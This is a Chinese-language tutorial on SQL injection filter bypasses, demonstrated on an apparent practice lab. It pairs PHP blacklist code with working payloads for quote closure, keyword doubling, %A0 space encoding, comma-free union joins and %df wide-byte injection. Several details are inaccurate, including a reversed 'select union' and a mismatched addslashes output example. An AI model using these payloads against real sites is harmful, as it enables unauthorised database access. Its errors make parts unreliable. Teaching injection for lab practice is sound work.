文章目录
一.注释符绕过
当网页源代码中出现如下代码后,常见的注释符号将无效,因此需要通过特殊手段进行绕过
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
#若id中提取出的字符中包含reg(#)类型的特殊符号将会被replace类型的符号(空)替换
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
上述代码中无法使用符号(#)或(--+)将后面的sql语句注释,因此需要通过特殊手段将后面多出的单引号闭合
演示案例:
单引号闭合:?id=1' and 1=1 ' 括号单引号:?id=1') and 1=1( '
双引号闭合:?id=1'' and 1=1''
$sql="SELECT * FROM users WHERE id='id=1' and 1=1 '' LIMIT 0,1";
二.and 和 or 过滤绕过
过滤源代码
function blacklist($id)
{
#若提取的id中包含or字符,将or替换为空
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id);
return $id;
}
注:i:代表无论or/and 是大写还是小写统一转译为小写
绕过手法
复写过滤字符
?id=1' anandd 1=1--+
三.空格过滤绕过
过滤代码:
$id= blacklist($id);
$hint=$id;
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/and/i',"", $id);
$id= preg_replace('/[\/\*]/',"", $id);
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);
$id= preg_replace('/[\s]/',"", $id);
$id= preg_replace('/[\/\\\\]/',"", $id);
return $id;
}
绕过手法:
在不同的环境中能够绕过的URL编码有所不同,因此需要多次尝试。
演示案例:
未使用URL编码注入前:符号被过滤
http://192.168.100.10/sql/Less-26/index.php?id=1' union select 1,2,3--+;
使用URL注入编码后
http://192.168.100.10/sql/Less-26/index.php?id=1%A0union%A0select 1,2,3--+;
报错注入:
四.逗号过滤绕过
id=1' union select 1,2,3--+
id=1' union select * from (select 1)a join (select 2)b join (select 3)c--+
五.宽字节绕过
宽字节注入前提:数据库使用GBKB编码
PHP中的转译函数:addslashes(); --使特殊符号的作用失效
源代码:
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
这个函数是用来处理字符串中的特殊字符,将其进行转义处理。
- 第一行代码使用正则表达式替换函数preg_replace将字符串中的反斜杠(\)替换为三个反斜杠(\\),这是为了将反斜杠进行转义。
- 第二行代码使用正则表达式替换函数preg_replace将字符串中的单引号(')替换为反斜杠和单引号('),这是为了将单引号进行转义。
- 第三行代码使用正则表达式替换函数preg_replace将字符串中的双引号(")替换为反斜杠和双引号("),这是为了将双引号进行转义。
最后,将处理后的字符串返回。这个函数通常用于防止在数据库操作中出现语法错误,例如在插入数据时,如果字符串中包含了单引号或双引号,可能会导致SQL语句出错。通过使用这个函数,可以将特殊字符进行转义,确保数据的安全性和完整性。
<?php
$a="benben is a \"good\" boy";
$b=addslashes($a);
echo $b
>
执行结果:benben is a \'good\' boy!
宽字节注入演示案例:
/index.php?id=-1' select union 1,2,3--+
报错结果分析:-1\' select union 1,2,3--
addslashes()函数将特殊符号'转译为无特殊作用的符号' 导致无法起到闭合的作用
宽字节绕过
id=-1%df‘ union select 1,2,3--+
注:使用%df使转译函数失效
总结